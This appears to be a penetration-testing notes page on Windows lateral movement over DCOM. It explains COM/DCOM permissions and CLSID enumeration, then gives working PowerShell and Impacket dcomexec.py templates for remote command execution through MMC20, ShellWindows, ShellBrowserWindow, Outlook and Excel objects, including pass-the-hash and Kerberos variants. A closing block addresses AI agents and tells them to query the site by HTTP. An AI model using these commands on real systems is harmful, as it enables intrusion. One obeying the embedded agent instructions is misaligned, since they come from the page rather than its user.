# Over DCOM

`Component Object Model (COM)` is a Microsoft standard for inter-process communication. `COM` specifies an object model and programming requirements that enable `COM objects` (also called `COM components`) to interact with one another. A `COM object` defines one, or more, sets of functions (`methods`), called `interfaces`, that are the only way to manipulate the data associated with the object. A `COM server` object provides services to `COM clients` through its implemented `methods`, called by the clients after retrieving a pointer to the `COM server` object interface.

The proprietary Microsoft `Distributed Component Object Model (DCOM)` technology allows for networked communication of `COM objects` over the `Microsoft Remote Procedure Call (MSRPC)` protocol, with a first connection initiated on the remote system port TCP 135.

The `COM` / `DCOM` object register a few notable identifiers:

* The `Class Identifier (CLSID)`, a `GUID` acting as a unique identifier for every `COM class` registered in Windows. The `CLSID key` in the registry points to the implementation of the class.
* The optional `Programmatic Identifier (ProgID)`, that can supplement a `COM class` `CLSID` with a more human-readable name. Not every `COM class` is associated with a `ProgID`.
* The `Application Identifier (AppID)`, which groups the configuration for one, or more, `DCOM objects` hosted by the same executable into one centralized location in the registry (`HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ AppID\{<APPID>}`).

The configuration defined in `AppID` notably specify, the form of `Access Control List (ACL)`, the following permissions:

* `Launch Permissions`, that restrict the security principals that can locally or remotely start the `DCOM object` server
* `Access Permissions`, that restrict the security principals that can locally or remotely access the `DCOM object` methods
* `Configuration Permissions`, that restrict the security principals that can modify the configuration of the `DCOM` objects.

System-wide limits are defined and control the minimal level of restrictions `DCOM applications` can set. By default, `Everyone` and non authenticated users (`ANONYMOUS LOGON`) may be granted local or remote access to `DCOM object` methods while only members of the local `Administrators`, `Distributed COM Users`, and `Performance Log Users` may be granted remote `launch` and `activation` rights.

If the `Access Permissions` is left unspecified in the `AppID` configuration, the system-wide `Access Permissions` and `Launch Permissions` are applied. By default, the `Remote Access` right is only granted to the Windows local built-in `Administrators` group. The `AppID` registered on a system can be browsed and edited using the `dcomcnfg.exe` Windows built-in utility or, the dedicated `OleViewDotNet` .NET utility.

A client request the instantiation of a remote `DCOM` object class by specifying its `CLSID` or `ProgID`, the later being resolved to the associated `CLSID`. The `DCOMLaunch` service (`C:\Windows\system32\svchost.exe -k DcomLaunch`, for `DCOM objects` from an `exe` binary) or `DLLHOST.exe` (for `DCOM objects` from a `DLL`) then instantiate the requested `DCOM` object class, on condition that the client has the necessary access permissions (as defined in the `APPID` configuration). The error code `80070005` (for `E_ACCESSDENIED`) will be returned otherwise.

#### CLSID enumeration

PowerShell can be used to list the `CLSID` and `ProdID` properties of the `DCOM objects` registered on the local computer `HKEY_CLASSES_ROOT` registry hive. The `HKEY_CLASSES_ROOT` registry hive cannot be directly accessed on a remote computer using `Get-ChildItem`. In order to remotely access the `HKEY_CLASSES_ROOT` registry hive, the following PowerShell commands can be run over `WinRM` using the `Invoke-Command` PowerShell cmdlet.

```
# Lists
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID | ForEach-Object {

  $DCOMClass = New-Object PSObject -Property @{
    CLSID = $_.Name.Split("{")[1].Split("}")[0]
  }

  If ($_.GetSubKeyNames() -match "ProgID") {
    $DCOMClass | Add-Member -Type NoteProperty -Name "ProgID" -Value $_.OpenSubKey("ProgID").GetValue("")
  }

  Else {
    $DCOMClass | Add-Member -Type NoteProperty -Name "ProgID" -Value $null
  }

  return $DCOMClass
}

# Filters by ProgID
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Recurse -Include 'ProgID' | ForEach-Object { If ($_.GetValue("") -match "<PROGID>") { return $_.Name,$_.GetValue("") }}

# Filter by CLSID
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Recurse | ForEach-Object { If ($_.Name -match "<CLSID>") { return $_.Name,$_.GetValue("") }}
```

#### Code execution over DCOM

Multiple `DCOM objects` classes can be leveraged to execute commands on the remote system. The idea of using `DCOM objects` for lateral movements having come to light recently, in January 2017 after a publication by `enigma0x3`, the below list, mostly gathered from `https://www.cybereason.com/blog/dcom-lateral-movement-techniques`, is possibly far from being exhaustive.

PowerShell and `Impacket`'s `dcomexec.py` Python script can be used to execute commands through `DCOM` objects:

```
# PowerShell
# MMC20.Application
# Blocked by the default Windows firewall rules
# Starts a child process under Microsoft Management Console (mmc.exe)
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP>"))
$dcom.Document.ActiveView.ExecuteShellCommand("<C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | BINARY>", $null, <$null | "COMMAND_ARGS">, "7")

# ShellWindows
# Blocked by the default Windows firewall rules
# Requires a File Explorer or Internet Explorer process on the remote system
$dcom = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "<IP¨>"))
$dcom[0].Document.Application.ShellExecute("<BINARY>")
$dcom[0].Document.Application.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# ShellBrowserWindow
# Blocked by the default Windows firewall rules
# DOES NOT require a File Explorer or Internet Explorer process on the remote system
# Only available on
$dcom = [activator]::CreateInstance([type]::GetTypeFromCLSID("c08afd90-f2a1-11d1-8455-00a0c91f3880", "<IP¨>"))
$dcom.Document.Application.ShellExecute("<BINARY>")
$dcom.Document.Application.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# Outlook through Shell.Application
# Blocked by the default Windows firewall rules?
# Requires Outlook to be installed on the remote system
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application", "<IP¨>"))
$dcom_shell = $dcom.CreateObject("Shell.Application")
$dcom_shell.ShellExecute("<BINARY>")
$dcom_shell.ShellExecute("<BINARY>", "<COMMAND_ARGS>", "<EXEC_DIRECTORY>", $null, 0)

# Excel.Application DDE
# Blocked by the default Windows firewall rules?
# Requires Excel to be installed on the remote system
# The name of the specified binary is limited to 8 characters maximum, so a binary present in the %PATH%, such as powershell.exe or cmd.exe, must be used
$dcom = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","<IP>"))
$dcom.DisplayAlert = $False
$dcom.DDEInitiate("<BINARY>","<COMMAND_ARGS>")

# Python
# dcomexec.py executes by default a semi-interactive shell using the ShellBrowserWindow DCOM oject.
# NTLM authentication
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] [-target-ip <TARGET_IP>] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> <TASK_COMMAND>
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> <TASK_COMMAND>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
dcomexec.py -debug [-object <MMC20 | ShellWindows | ShellBrowserWindow>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> "<COMMAND | TASK_COMMAND>"

# More Microsoft Office DCOM objects can be leveraged for lateral movements, as described in the provided source above
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.qazeer.io/windows/lateral_movements/over_dcom.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
